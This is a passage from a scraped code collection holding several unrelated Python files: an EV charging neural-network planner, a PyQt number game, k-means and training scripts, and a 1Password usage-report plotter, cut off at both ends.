hours\r\n self.last_charging_consumptions = self.last_charging_consumptions[-4 * 24:]\r\n self.last_overall_consumptions = self.last_overall_consumptions[-4 * 24:]\r\n self.last_hh_consumptions = self.last_hh_consumptions[-4 * 24:]\r\n\r\n def basic_inputs(self, ar, remaining_steps):\r\n\r\n max_recent_hh = np.max(self.last_hh_consumptions)\r\n avg_recent_hh = np.mean(self.last_hh_consumptions)\r\n min_recent_hh = np.min(self.last_hh_consumptions)\r\n max_recent_overall = np.max(self.last_overall_consumptions)\r\n avg_recent_overall = np.mean(self.last_overall_consumptions)\r\n min_recent_overall = np.min(self.last_overall_consumptions)\r\n\r\n hh_consumption = 0\r\n overall_consumption = 0\r\n hh_change_last = 0\r\n overall_change_last = 0\r\n hh_change_1h = 0\r\n overall_change_1h = 0\r\n hh_change_3h = 0\r\n overall_change_3h = 0\r\n hh_ratio = 0\r\n overall_ratio = 0\r\n\r\n if avg_recent_hh > 0:\r\n hh_consumption = self.last_hh_consumptions[-1] / avg_recent_hh - 1\r\n if avg_recent_overall > 0:\r\n overall_consumption = self.last_overall_consumptions[-1] / avg_recent_overall - 1\r\n if max_recent_hh != min_recent_hh:\r\n hh_ratio = (self.last_hh_consumptions[-1] - min_recent_hh) / (max_recent_hh - min_recent_hh)\r\n if max_recent_overall != min_recent_overall:\r\n overall_ratio = (self.last_overall_consumptions[-1] - min_recent_overall) / (\r\n max_recent_overall - min_recent_overall)\r\n if len(self.last_hh_consumptions) > 1 and self.last_hh_consumptions[-2] > 0:\r\n hh_change_last = self.last_hh_consumptions[-1] / self.last_hh_consumptions[-2] - 1\r\n overall_change_last = self.last_overall_consumptions[-1] / self.last_overall_consumptions[-2] - 1\r\n if len(self.last_hh_consumptions) > 4 and self.last_hh_consumptions[-4] > 0:\r\n hh_change_1h = self.last_hh_consumptions[-1] / self.last_hh_consumptions[-4] - 1\r\n overall_change_1h = self.last_overall_consumptions[-1] / self.last_overall_consumptions[-4] - 1\r\n if len(self.last_hh_consumptions) > 12 and self.last_hh_consumptions[-12] > 0:\r\n hh_change_3h = self.last_hh_consumptions[-1] / self.last_hh_consumptions[-12] - 1\r\n overall_change_3h = self.last_overall_consumptions[-1] / self.last_overall_consumptions[-12] - 1\r\n\r\n const_ch_speed = utils.constant_charging_speed(remaining_steps, ar) / ar.max_charging_speed\r\n min_ch_speed = utils.minimum_charging_speed(remaining_steps, ar) / ar.max_charging_speed\r\n\r\n if self.hh_only:\r\n inputs = np.array([ar.remaining_charge / ar.initial_charge, remaining_steps / ar.initial_steps,\r\n const_ch_speed, min_ch_speed, hh_consumption, hh_change_last, hh_change_1h,\r\n hh_change_3h, hh_ratio])\r\n else:\r\n inputs = np.array([ar.remaining_charge / ar.initial_charge, remaining_steps / ar.initial_steps,\r\n const_ch_speed, min_ch_speed, hh_consumption, overall_consumption,\r\n hh_change_last, overall_change_last, hh_change_1h, overall_change_1h,\r\n hh_change_3h, overall_change_3h, hh_ratio, overall_ratio])\r\n return inputs\r\n\r\n def get_charge(self, remaining_steps, ar, **kwargs):\r\n\r\n inputs = self.basic_inputs(ar, remaining_steps)\r\n\r\n self.last_charging = ar.max_charging_speed*self.eval_network(inputs)[0]\r\n\r\n return self.last_charging\r\n\r\nclass AdvancedNNPlanner(NNPlanner):\r\n\r\n def __init__(self, *args, **kwargs):\r\n super(AdvancedNNPlanner, self).__init__(*args, **kwargs)\r\n\r\n def copy(self):\r\n nn = AdvancedNNPlanner(self.layer_sizes, self.activations, self.hh_only)\r\n nn.set_network(self.vectorized_net)\r\n return nn\r\n\r\n def get_charge(self, remaining_steps, ar, current_time = None):\r\n\r\n t1, t2 = utils.encode_time(current_time)\r\n workday = 1.0 if current_time.weekday() < 5 else 0.0\r\n\r\n advanced_inputs = np.array([t1, t2, workday])\r\n basic_inputs = self.basic_inputs(ar, remaining_steps)\r\n\r\n inputs = np.append(advanced_inputs, basic_inputs)\r\n self.last_charging = ar.max_charging_speed * self.eval_network(inputs)[0]\r\n return self.last_charging\r\n\r\nclass ESNPlanner:\r\n\r\n def __init__(self, n_reservoir, alpha, hh_only, recurrent=False):\r\n self.hh_only = hh_only\r\n self.n_inputs = 12 if hh_only else 17\r\n if recurrent:\r\n self.n_inputs += 1\r\n self.n_reservoir = n_reservoir\r\n self.alpha = alpha\r\n self.esn = esn.ESN(self.n_inputs, 1, n_reservoir, alpha)\r\n\r\n self.recurrent=recurrent\r\n\r\n self.last_hh_consumptions = []\r\n self.last_overall_consumptions = []\r\n self.last_charging_consumptions = []\r\n self.last_charging = 0\r\n\r\n self.last_states = []\r\n\r\n def copy(self):\r\n nn = ESNPlanner(self.n_reservoir, self.alpha, self.hh_only, self.recurrent)\r\n nn.esn.W_in = self.esn.W_in\r\n nn.esn.W = self.esn.W\r\n nn.esn.W_out = self.esn.W_out\r\n return nn\r\n\r\n def update_info(self, household_consumption, overall_consumption, *, current_time, ar = None, **kwargs):\r\n self.last_hh_consumptions.append(household_consumption + self.last_charging)\r\n self.last_overall_consumptions.append(overall_consumption)\r\n self.last_charging_consumptions.append(self.last_charging)\r\n\r\n # store only last 24 hours\r\n self.last_charging_consumptions = self.last_charging_consumptions[-4 * 24:]\r\n self.last_overall_consumptions = self.last_overall_consumptions[-4 * 24:]\r\n self.last_hh_consumptions = self.last_hh_consumptions[-4 * 24:]\r\n\r\n remaining_charge = ar.remaining_charge if ar else 0\r\n initial_charge = ar.initial_charge if ar else 1\r\n initial_steps = ar.initial_steps if ar else 1\r\n remaining_steps = utils.remaining_steps(ar, current_time) if ar else 1\r\n\r\n last_hh = np.array(self.last_hh_consumptions)\r\n last_oa = np.array(self.last_overall_consumptions)\r\n\r\n max_recent_hh = np.max(last_hh)\r\n avg_recent_hh = np.mean(last_hh)\r\n min_recent_hh = np.min(last_hh)\r\n max_recent_overall = np.max(last_oa)\r\n avg_recent_overall = np.mean(last_oa)\r\n min_recent_overall = np.min(last_oa)\r\n\r\n hh_consumption = 0\r\n overall_consumption = 0\r\n hh_change_last = 0\r\n overall_change_last = 0\r\n hh_change_1h = 0\r\n overall_change_1h = 0\r\n hh_change_3h = 0\r\n overall_change_3h = 0\r\n hh_ratio = 0\r\n overall_ratio = 0\r\n\r\n if avg_recent_hh > 0:\r\n hh_consumption = self.last_hh_consumptions[-1] / avg_recent_hh - 1\r\n if avg_recent_overall > 0:\r\n overall_consumption = self.last_overall_consumptions[-1] / avg_recent_overall - 1\r\n if max_recent_hh != min_recent_hh:\r\n hh_ratio = (self.last_hh_consumptions[-1] - min_recent_hh) / (max_recent_hh - min_recent_hh)\r\n if max_recent_overall != min_recent_overall:\r\n overall_ratio = (self.last_overall_consumptions[-1] - min_recent_overall) / (\r\n max_recent_overall - min_recent_overall)\r\n if len(self.last_hh_consumptions) > 1 and self.last_hh_consumptions[-2] > 0:\r\n hh_change_last = self.last_hh_consumptions[-1] / self.last_hh_consumptions[-2] - 1\r\n overall_change_last = self.last_overall_consumptions[-1] / self.last_overall_consumptions[-2] - 1\r\n if len(self.last_hh_consumptions) > 4 and self.last_hh_consumptions[-4] > 0:\r\n hh_change_1h = self.last_hh_consumptions[-1] / self.last_hh_consumptions[-4] - 1\r\n overall_change_1h = self.last_overall_consumptions[-1] / self.last_overall_consumptions[-4] - 1\r\n if len(self.last_hh_consumptions) > 12 and self.last_hh_consumptions[-12] > 0:\r\n hh_change_3h = self.last_hh_consumptions[-1] / self.last_hh_consumptions[-12] - 1\r\n overall_change_3h = self.last_overall_consumptions[-1] / self.last_overall_consumptions[-12] - 1\r\n\r\n const_ch_speed = 0\r\n min_ch_speed = 0\r\n\r\n if ar:\r\n const_ch_speed = utils.constant_charging_speed(remaining_steps, ar) / ar.max_charging_speed\r\n min_ch_speed = utils.minimum_charging_speed(remaining_steps, ar) / ar.max_charging_speed\r\n\r\n t1, t2 = utils.encode_time(current_time)\r\n workday = 1.0 if current_time.weekday() < 5 else 0.0\r\n\r\n inputs_list = []\r\n if self.hh_only:\r\n inputs_list = [remaining_charge / initial_charge, remaining_steps / initial_steps,\r\n const_ch_speed, min_ch_speed, hh_consumption, hh_change_last, hh_change_1h,\r\n hh_change_3h, hh_ratio, t1, t2, workday]\r\n else:\r\n inputs_list = [remaining_charge / initial_charge, remaining_steps / initial_steps,\r\n const_ch_speed, min_ch_speed, hh_consumption, overall_consumption,\r\n hh_change_last, overall_change_last, hh_change_1h, overall_change_1h,\r\n hh_change_3h, overall_change_3h, hh_ratio, overall_ratio, t1, t2, workday]\r\n\r\n if (self.recurrent):\r\n inputs_list.append(self.last_charging/ar.max_charging_speed if ar else 0)\r\n\r\n inputs = np.array(inputs_list)\r\n\r\n nn_output = utils.sigmoid(self.esn.update(inputs))[0]\r\n\r\n max_charging_speed = ar.max_charging_speed if ar else 0\r\n self.last_charging = max_charging_speed * max(min_ch_speed, nn_output) if ar else 0\r\n\r\n # self.last_states.append((np.concatenate([np.insert(inputs, 0, 1.0), self.esn.state]), nn_output,\r\n # min_ch_speed, max_charging_speed)) # save information for gradient\r\n\r\n def get_charge(self, remaining_steps, ar, **kwargs):\r\n return self.last_charging\r\n\r\n def set_network(self, vectorized_net):\r\n self.esn.W_out = np.reshape(vectorized_net, newshape=self.esn.W_out.shape)\r\n\r\n def set_additional_params(self, additional_params):\r\n self.esn.W_in = additional_params['W_in']\r\n self.esn.W = additional_params['W']\r\n\r\n def vectorized_size(self):\r\n return self.esn.W_out.size\r\n\r\nclass EnsemblePlanner:\r\n\r\n def __init__(self, planners):\r\n self.planners = planners\r\n\r\n def update_info(self, household_consumption, overall_consumption, *, current_time, ar=None, **kwargs):\r\n for p in self.planners:\r\n p.update_info(household_consumption, overall_consumption, current_time=current_time, ar=ar, **kwargs)\r\n\r\n def get_charge(self, remaining_steps, ar, **kwargs):\r\n charges = [p.get_charge(remaining_steps, ar, **kwargs) for p in self.planners]\r\n return np.mean(charges)\r\n\r\n def copy(self):\r\n return EnsemblePlanner([p.copy() for p in self.planners])","repo_name":"sbalcar/distributedea","sub_path":"python/evcharging/src/planners.py","file_name":"planners.py","file_ext":"py","file_size_in_byte":14866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25814145475","text":"import sys\r\nimport string\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QWidget, QGridLayout\r\nfrom PyQt5.QtCore import Qt\r\nimport getpass\r\n\r\nclass InvalidPlayerInput(Exception):\r\n pass\r\n\r\nclass NameIsNumeric(Exception):\r\n pass\r\n\r\nclass NameIsEmpty(Exception):\r\n pass\r\n\r\nclass NameContainsPunctuation(Exception):\r\n pass\r\n\r\nclass Player:\r\n def __init__(self, name):\r\n self.name = name\r\n self.score = 0\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n\r\nclass MainWindow(QMainWindow):\r\n def __init__(self, players):\r\n super().__init__()\r\n self.players = players\r\n self.init_ui()\r\n\r\n def init_ui(self):\r\n self.setWindowTitle(\"Score Keeper\")\r\n self.setFixedSize(800, 600)\r\n\r\n widget = QWidget()\r\n self.setCentralWidget(widget)\r\n layout = QGridLayout()\r\n widget.setLayout(layout)\r\n\r\n for i, player in enumerate(self.players):\r\n color = f\"#{hash(str(i)) % 0xffffff:06x}\"\r\n rect = QWidget()\r\n rect.setStyleSheet(f\"background-color: black; border-radius: 10px;\")\r\n layout.addWidget(rect, 0, i, 1, 1)\r\n\r\n name_label = QLabel(player.name)\r\n name_label.setStyleSheet(\"font-weight: bold; font-size: 32px; color: white;\")\r\n name_label.setAlignment(Qt.AlignCenter)\r\n layout.addWidget(name_label, 0, i, 1, 1)\r\n\r\n score_label = QLabel(str(player.score))\r\n score_label.setStyleSheet(\"font-size: 48px; color: black;\")\r\n score_label.setAlignment(Qt.AlignCenter)\r\n layout.addWidget(score_label, 1, i, 1, 1)\r\n\r\n player.name_label = name_label\r\n player.score_label = score_label\r\n\r\n self.activateWindow()\r\n self.raise_()\r\n\r\n def get_secret_numbers(self):\r\n secret_numbers = {}\r\n for player in self.players:\r\n player_secret_number = None\r\n while player_secret_number is None or player_secret_number < 0 or player_secret_number > len(self.players):\r\n try:\r\n player_secret_number = int(getpass.getpass(f\"{player.name}, please enter a number between [1,{len(self.players)}] and press ENTER: \"))\r\n if player_secret_number < 1 or player_secret_number > len(self.players):\r\n print(\"Error: The number must be between 1 and\", len(self.players))\r\n except ValueError:\r\n print(\"Error: The input must be a numeric value.\")\r\n secret_numbers[player.name] = player_secret_number\r\n return secret_numbers\r\n\r\n def update_scores(self, secret_numbers):\r\n unique_numbers = [num for num in set(secret_numbers.values()) if list(secret_numbers.values()).count(num) == 1]\r\n for player in self.players:\r\n picked_number = secret_numbers[player.name]\r\n if picked_number in unique_numbers:\r\n player.score += picked_number\r\n else:\r\n player.score -= picked_number\r\n\r\n player.score_label.setText(str(player.score))\r\n\r\n self.show()\r\n\r\n def report_winner(self):\r\n highest_score = max([player.score for player in self.players])\r\n winners = [player.name for player in self.players if player.score == highest_score]\r\n\r\n print(\"\\nFinal Scores:\")\r\n for player in self.players:\r\n print(f\"{player.name}: {player.score}\")\r\n\r\n if len(winners) > 1:\r\n print(\"\\nIt's a tie between the following players:\")\r\n for winner in winners:\r\n print(winner)\r\n else:\r\n print(f\"\\nThe winner is {winners[0]}!\")\r\n\r\n print('The game has ended.')\r\n QApplication.quit()\r\n\r\n def report_round(self, secret_numbers):\r\n print(\"\\n{:<20}\".format(''), end='')\r\n for player in self.players:\r\n print(\"{:<20}\".format(player.name), end='')\r\n print()\r\n\r\n print(\"{:<20}\".format('Secret Numbers:'), end='')\r\n for player in self.players:\r\n print(\"{:<20}\".format(secret_numbers[player.name]), end='')\r\n print()\r\n\r\n print(\"{:<20}\".format('Scores:'), end='')\r\n for player in self.players:\r\n print(\"{:<20}\".format(player.score), end='')\r\n print()\r\n\r\n\r\ndef validate_player_name(name):\r\n if name.isdigit():\r\n raise NameIsNumeric\r\n if not name or name.isspace():\r\n raise NameIsEmpty\r\n if any(c in string.punctuation for c in name):\r\n raise NameContainsPunctuation\r\n return name\r\n\r\n\r\ndef validate_num_players(num_players):\r\n if num_players < 2:\r\n raise InvalidPlayerInput\r\n return num_players\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = QApplication(sys.argv)\r\n print('\\n')\r\n print(\"WELCOME to Mert's Game, enjoy!\")\r\n\r\n while True:\r\n try: \r\n num_players = validate_num_players(int(input(\"Enter the number of players: \")))\r\n break\r\n except ValueError:\r\n print(\"Invalid input. Please enter a number.\")\r\n except InvalidPlayerInput:\r\n print(\"Invalid input. There must be at least 2 players.\")\r\n\r\n players = []\r\n for i in range(num_players):\r\n while True:\r\n try:\r\n name = validate_player_name(input(f\"Enter the name of player {i+1}: \"))\r\n players.append(Player(name))\r\n break\r\n except NameIsNumeric:\r\n print('The name cannot be solely numeric. Please enter a valid name.\\n')\r\n except NameIsEmpty:\r\n print('The name cannot be whitespace or empty. Please enter a valid name.\\n') \r\n except NameContainsPunctuation:\r\n print('The name cannot contain punctuations. Please enter a valid name.\\n')\r\n \r\n\r\n window = MainWindow(players)\r\n\r\n print('\\n')\r\n print('Recommended number of round is ', 2*num_players)\r\n print('\\n') \r\n while True:\r\n try: \r\n num_rounds = int(input(\"Enter the number of rounds: \"))\r\n if num_rounds < 1: \r\n print(\"Please enter a positive number!\")\r\n continue\r\n break\r\n except ValueError:\r\n print(\"Invalid input. Please enter a number.\")\r\n\r\n for round in range(num_rounds):\r\n print(f\"\\nROUND {round + 1}:\")\r\n secret_numbers = window.get_secret_numbers()\r\n window.update_scores(secret_numbers)\r\n window.report_round(secret_numbers)\r\n\r\n window.report_winner()\r\n\r\n sys.exit(app.exec_())\r\n","repo_name":"mertyrdkl/Personal-Project","sub_path":"myGame.py","file_name":"myGame.py","file_ext":"py","file_size_in_byte":6584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43423988286","text":"### CLUSTERING - K-MEANS ###\n\n# =============================================================================\n### Data Preprocessing ###\n\n# Import libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Import dataset\ndataset = pd.read_csv(\"Mall_Customers.csv\")\n#dataset.drop(\"Country\", axis = 1, inplace=True)\nX = dataset.iloc[:, [3,4]].values\n\n# =============================================================================\n### Search optimal cluster number ###\n\n# Use elbox method to find optimal clusters number (\"K\")\nfrom sklearn.cluster import KMeans\n\n# Withing Cluster Sum of squares\nwcss = []\n\n# Search optimal clusters number with a loop\nfor i in range(1, 11):\n kmeans = KMeans(n_clusters = i, init = 'k-means++', random_state = 0)\n kmeans.fit(X)\n wcss.append(kmeans.inertia_)\n\n# Display 2D Graph\nplt.plot(range(1,11), wcss)\nplt.title('ELBOW METHOD')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show()\n\n# =============================================================================\n### K-MEANS clustering model ###\n\n# Build model\nfrom sklearn.cluster import KMeans\n\nkmeans = KMeans(n_clusters = 5, init = 'k-means++', random_state = 0)\ny_kmeans = kmeans.fit_predict(X)\n\n# Get IVs & VD with scatter method for each cluster (K = 5)\nplt.scatter(X[y_kmeans == 1, 0], X[y_kmeans == 1, 1], c = 'red', label = 'Cluster 1')\nplt.scatter(X[y_kmeans == 2, 0], X[y_kmeans == 2, 1], c = 'blue', label = 'Cluster 2')\nplt.scatter(X[y_kmeans == 3, 0], X[y_kmeans == 3, 1], c = 'green', label = 'Cluster 3')\nplt.scatter(X[y_kmeans == 4, 0], X[y_kmeans == 4, 1], c = 'yellow', label = 'Cluster 4')\nplt.scatter(X[y_kmeans == 0, 0], X[y_kmeans == 0, 1], c = 'black', label = 'Cluster 5')\n\n# Display 2D Graph\nplt.title('CLIENTS\\' CLUSTERS')\nplt.xlabel('Annual Income (k$)')\nplt.ylabel('Spending Score (1 to 100)')\nplt.legend()\n\n# =============================================================================","repo_name":"FlorianBergeron/machine_learning_practice","sub_path":"Part_4_Clustering/1_K-Means/k_means.py","file_name":"k_means.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"11465230866","text":"def del_num(text):\n rtrn = ''\n for i in text:\n if not i.isdigit():\n rtrn += i\n return rtrn\n\ndef a():\n no_digits = []\n file = open('sample 1.txt', 'r')\n nums= '1234567890'\n t = []\n for line in file:\n t.append(line[:-1])\n file.close()\n print(t)\n for i in range(len(t)):\n no_digits.append(del_num(t[i]))\n f = open('sample 1w.txt', 'w')\n for i in range(len(no_digits)):\n f.write(no_digits[i] + '\\n')\n\n\n\n\ndef b():\n a = ''\n file = open('sample 2-3.txt','r')\n for line in file:\n a+=str((line)[:-1])\n print(a)\n print(len(a))\ndef c():\n\n a = []\n file = open('sample 2-3.txt','r')\n for line in file:\n a.append(str((line)[:-1]))\n print(len(a))\na()","repo_name":"master-of-the-dungeon/ITiABD-PM22-7-Nikolay-Sedov","sub_path":"2022-2023/AISD/Zadachi 1-20/zadachi 17/zadacha 9.17.py","file_name":"zadacha 9.17.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7967041888","text":"from typing import List, Tuple\n\nimport numpy as np\nimport torch\nimport wandb\nfrom torch import Tensor\nfrom torch.nn import Module\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom simulator import Simulator\nfrom smega2 import SMEGA2\nfrom utils import AverageMeter, get_lr, set_lr\n\n\nclass Trainer:\n def __init__(self, model: Module, simulator: Simulator, train_loader: DataLoader, test_loader: DataLoader,\n optimizer: SMEGA2, loss_fn, epochs: int, warmup_epochs: int, lr_schedule: List[int], lr_decay: float,\n cuda: bool):\n self.model = model\n self.simulator = simulator\n self.train_loader = train_loader\n self.test_loader = test_loader\n self.optimizer = optimizer\n self.loss_fn = loss_fn\n self.epochs = epochs\n lr = get_lr(optimizer)\n self.warmup_lr = np.linspace(lr / simulator.size, lr, len(self.train_loader) * warmup_epochs).tolist()\n self.lr_schedule = lr_schedule\n self.lr_decay = lr_decay\n self.cuda = cuda\n\n def run(self) -> None:\n for epoch in range(self.epochs):\n self.decay_lr(epoch)\n train_loss, train_acc = self.train_step(epoch)\n test_loss, test_acc = self.eval_step()\n wandb.log(dict(\n train_loss=train_loss,\n train_acc=train_acc,\n test_loss=test_loss,\n test_acc=test_acc,\n ))\n\n def batch_step(self, data: Tensor, target: Tensor, loss_meter: AverageMeter, acc_meter: AverageMeter) -> Tensor:\n if self.cuda:\n data, target = data.cuda(non_blocking=True), target.cuda(non_blocking=True)\n bs = target.shape[0]\n output = self.model(data)\n loss = self.loss_fn(output, target)\n loss_meter.update(loss.item(), bs) # sum up batch loss\n # get the index of the max log-probability\n pred = output.data.max(1, keepdim=True)[1]\n acc_meter.update(100.0 * pred.eq(target.data.view_as(pred)).sum().item() / bs, bs)\n return loss\n\n def train_step(self, epoch: int) -> Tuple[float, float]:\n self.model.train()\n loss_meter = AverageMeter()\n acc_meter = AverageMeter()\n\n progress_bar = tqdm(self.train_loader)\n for data, target in progress_bar:\n self.simulator.load_next_worker()\n\n if self.warmup_lr:\n new_lr = self.warmup_lr.pop(0)\n set_lr(self.optimizer, new_lr)\n\n self.optimizer.zero_grad()\n\n loss = self.batch_step(data, target, loss_meter, acc_meter)\n loss.backward()\n\n self.simulator.load_master()\n self.optimizer.step()\n self.simulator.update_master(self.model.parameters())\n\n estimate = self.optimizer.estimate()\n self.simulator.update_worker(estimate)\n\n progress_bar.set_description(\n f\"Epoch: {epoch}, Loss: {loss_meter.avg:.8f} Acc: {acc_meter.avg:.4f}\")\n progress_bar.close()\n\n return loss_meter.avg, acc_meter.avg\n\n def eval_step(self) -> Tuple[float, float]:\n self.model.eval()\n loss_meter = AverageMeter()\n acc_meter = AverageMeter()\n\n with torch.no_grad():\n for data, target in tqdm(self.test_loader):\n self.batch_step(data, target, loss_meter, acc_meter)\n return loss_meter.avg, acc_meter.avg\n\n def decay_lr(self, epoch: int) -> None:\n if epoch in self.lr_schedule:\n new_lr = get_lr(self.optimizer) * self.lr_decay\n set_lr(self.optimizer, new_lr)\n","repo_name":"rafi-cohen/SMEGA2","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22424912100","text":"import json\nimport pandas as pd\n\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n\ndef main():\n\n with open(\"item_usages.json\", \"r\") as input_file:\n json_data = json.load(input_file)\n # print(json_data)\n\n # flatten the json data\n df = pd.json_normalize(json_data)\n # uncomment to generate a new csv, if needed to review via excel\n # df.to_csv(\"item_usages_full.csv\")\n\n df.drop(\n [\n \"uuid\",\n \"used_version\",\n \"user.uuid\",\n \"user.email\",\n \"client.app_name\",\n \"client.app_version\",\n \"client.platform_name\",\n \"client.platform_version\",\n \"client.os_version\",\n \"location.latitude\",\n \"location.longitude\",\n ],\n axis=1,\n inplace=True,\n )\n\n # uncomment when a new csv is needed to review\n # df.to_csv(\"item_usages_modified.csv\")\n # print(df)\n\n # replace blank cells in action column with \"null\"\n df[\"action\"].replace({\"\": \"null\"}, inplace=True)\n\n actions = df[\"action\"].value_counts()\n reveal_action = df.loc[df[\"action\"] == \"reveal\"]\n # print(\"actions\")\n # print(actions)\n # print(actions.index[0])\n\n linux = df.loc[df[\"client.os_name\"] == \"Linux\"]\n\n top_item_by_user = (\n df.groupby([\"item_uuid\", \"user.name\"])\n .size()\n .nlargest(15)\n .reset_index(name=\"count\")\n )\n # convert pandas series to dataframe to easily display in a Table\n top_item_by_user = pd.DataFrame(top_item_by_user)\n # write to file to view with excel\n # top_item_by_user.to_csv(\"top_item_by_user.csv\")\n\n windows = df.loc[df[\"client.os_name\"] == \"Windows\"]\n\n windows_users_groupby_vault = (\n windows.groupby([\"vault_uuid\", \"user.name\"])\n .size()\n # .nlargest(15)\n .reset_index(name=\"count\")\n .sort_values([\"count\"], ascending=False)\n .drop_duplicates(subset=[\"vault_uuid\"])\n # .tail(75)\n # .head(30)\n )\n\n print()\n print(\"windows_user_groupby_vault:\")\n print(windows_users_groupby_vault)\n print()\n\n # windows_users_groupby_vault.to_csv(\"windows_users_vault.csv\")\n\n ## Start common graph setup ##\n fig = make_subplots(\n rows=5,\n cols=1,\n horizontal_spacing=0.5,\n vertical_spacing=0.1,\n specs=[\n [{\"type\": \"bar\"}],\n [{\"type\": \"table\"}],\n [{\"type\": \"table\"}],\n [{\"type\": \"table\"}],\n [{\"type\": \"table\"}],\n ],\n subplot_titles=(\n \"Actions\",\n \"Reveal Actions\",\n \"Non-Windows/MacOS/Android OS\",\n \"Top Item Usage\",\n \"Top Vault Usage - Windows only\",\n ),\n )\n\n # adjust title font size\n fig.update_annotations(font_size=20)\n # End common graph setup ##\n\n for action in range(len(actions)):\n fig.add_trace(\n go.Bar(\n name=actions.index[action],\n y=[actions[action]],\n hovertemplate=(\n actions.index[action] + \": %{y}\" + \"\"\n ),\n x=[actions.index[action]],\n ),\n row=1,\n col=1,\n )\n\n fig.update_layout(\n yaxis=dict(\n title=\"Number of actions\", titlefont_size=16, tickfont_size=14\n ),\n xaxis_tickfont_size=14,\n legend=dict(\n bgcolor=\"rgba(255,255,255,0)\", bordercolor=\"rgba(255,255,255,0)\"\n ),\n )\n\n fig.add_trace(\n go.Table(\n columnwidth=[400, 400, 300, 100, 150, 175, 400, 200, 200, 150],\n header=dict(\n values=list(reveal_action.columns),\n line_color=\"darkslategray\",\n fill_color=\"royalblue\",\n align=\"center\",\n font=dict(color=\"white\", size=16),\n height=50,\n ),\n cells=dict(\n values=reveal_action.transpose().values.tolist(),\n line_color=\"darkslategray\",\n fill=dict(color=[\"paleturquoise\", \"white\"]),\n align=\"center\",\n font_size=14,\n height=40,\n ),\n ),\n row=2,\n col=1,\n )\n\n fig.add_trace(\n go.Table(\n columnwidth=[400, 400, 300, 100, 150, 175, 400, 200, 200, 150],\n header=dict(\n values=list(linux.columns),\n line_color=\"darkslategray\",\n fill_color=\"royalblue\",\n align=\"center\",\n font=dict(color=\"white\", size=16),\n height=50,\n ),\n cells=dict(\n values=linux.transpose().values.tolist(),\n line_color=\"darkslategray\",\n fill=dict(color=[\"paleturquoise\", \"white\"]),\n align=\"center\",\n font_size=14,\n height=40,\n ),\n ),\n row=3,\n col=1,\n )\n\n fig.add_trace(\n go.Table(\n columnwidth=[400, 400, 300],\n header=dict(\n values=list(top_item_by_user.columns),\n # values=[\"item\", \"test\", \"test\"],\n line_color=\"darkslategray\",\n fill_color=\"royalblue\",\n align=\"center\",\n font=dict(color=\"white\", size=16),\n height=50,\n ),\n cells=dict(\n values=top_item_by_user.transpose().values.tolist(),\n line_color=\"darkslategray\",\n fill=dict(color=[\"paleturquoise\", \"white\"]),\n align=\"center\",\n font_size=14,\n height=40,\n ),\n ),\n row=4,\n col=1,\n )\n\n fig.add_trace(\n go.Table(\n columnwidth=[400, 400, 300],\n header=dict(\n values=list(windows_users_groupby_vault.columns),\n # values=[\"item\", \"test\", \"test\"],\n line_color=\"darkslategray\",\n fill_color=\"royalblue\",\n align=\"center\",\n font=dict(color=\"white\", size=16),\n height=50,\n ),\n cells=dict(\n values=windows_users_groupby_vault.transpose().values.tolist(),\n line_color=\"darkslategray\",\n fill=dict(color=[\"paleturquoise\", \"white\"]),\n align=\"center\",\n font_size=14,\n height=40,\n ),\n ),\n row=5,\n col=1,\n )\n\n # windows_users_groupby_vault\n fig.update_layout(autosize=True, height=2500, showlegend=True)\n\n fig.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"richlamdev/1password_events_api","sub_path":"show_usage.py","file_name":"show_usage.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70374858750","text":"import torch\nimport torch.nn as nn\nimport utils.util as util\nfrom models.dips import ImageDIP\nfrom models.backbones.edsr import EDSR\nfrom models.kernel_encoding.kernel_wizard import KernelExtractor\n# from models.sr.cattengu import KernelExtractor\nfrom models.sr.IDK import IDK\nfrom tqdm import tqdm\nimport cv2\nfrom models.losses.hyper_laplacian_penalty import HyperLaplacianPenalty\nfrom models.losses.perceptual_loss import PerceptualLoss\nfrom models.losses.ssim_loss import SSIM\nfrom torch.optim.lr_scheduler import StepLR, MultiStepLR\nfrom data.common import downsample, conv\nimport numpy as np\nfrom torchvision.utils import save_image\nimport torch.nn.functional as F\n\n\nclass BlindSR:\n def __init__(self, opt):\n self.opt = opt\n self.ssim_loss = SSIM().cuda()\n self.mse = nn.MSELoss().cuda()\n self.l1 = nn.L1Loss().cuda()\n self.perceptual_loss = PerceptualLoss().cuda()\n self.laplace_penalty = HyperLaplacianPenalty(3, 0.66).cuda()\n self.dip = ImageDIP(opt[\"network\"][\"DIP\"]).cuda()\n self.SR = EDSR(opt[\"network\"][\"SR\"]).cuda()\n self.netG = KernelExtractor(opt[\"network\"][\"KernelExtractor\"]).cuda()\n self.load()\n self.scale=self.opt[\"scale\"]\n\n def prepare_DIP(self, size):\n self.random_x = util.get_noise(8, \"noise\", size).cuda()\n \n def reset_optimizers(self):\n self.x_optimizer = torch.optim.Adam(self.dip.parameters(), lr=self.opt[\"x_lr\"])\n # self.x_scheduler = StepLR(self.x_optimizer, step_size=self.opt[\"num_iters\"] // 4, gamma=0.5)\n self.k_optimizer = torch.optim.Adam(self.netG.parameters(), lr=5e-4)\n # self.k_scheduler = StepLR(self.k_optimizer, step_size=self.opt[\"num_iters\"] // 2, gamma=0.7)\n\n def warmup(self, warmup_x):\n # Input vector of 